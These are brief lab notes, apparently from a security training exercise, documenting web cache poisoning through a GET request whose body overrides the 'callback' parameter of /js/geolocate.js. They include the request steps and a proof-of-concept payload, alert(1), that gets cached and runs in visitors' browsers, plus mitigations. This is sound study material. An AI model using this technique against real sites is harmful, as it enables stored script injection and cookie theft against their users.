Note(Datetime, Name) : 2025-04-30 Web cache poisoning via a fat GET request
Metodelogy
- Investigate the system to retrieve a list of features
- Discribe the feature and explain how it works
- List possible vulnerabilities and group by feature
- Proof of concept for possible vulnerabilities
- What is the impact of the vulnerabilities after the proof of concept ?
==========================================================================================================
feature:
- GET / -> Home
steps taken:
- access GET /js/geolocate.js?callback=setCountryCookie&utm_content&utm_content=sdfaf&utm_content=sdfaf&utm_content=sdfaf&utm_content=sdfaf&utm_content=sd&callback=test -> cache miss
- access GET /js/geolocate.js?callback=setCountryCookie with body callback=test -> cache miss but callback value was overridden to test, try again until cache hit
- access GET /js/geolocate.js?callback=setCountryCookie without body callback=test-> cahce hit and callback value was still test
vulnerabilities :
- web cache poisoning in /js/geolocate.js due to the server read improperly reading parameters from body of a GET request
Proof of concept:
- access GET /js/geolocate.js?callback=setCountryCookie with body callback=alert(1) -> retry until cache hit is observed
- access to / -> cached malicious javascript is loaded and alert is triggered in victim browser
impact
- an attacker can inject and store malicious javascript in the cache. When a victim accesses the cache page , the script executes, potentially leading to cookie theft or other XSS-based attacks
takeaways
- sanitize all query parameter and prevent uninteded behavior from duplicated keys
- block or ignore body parsing on GET request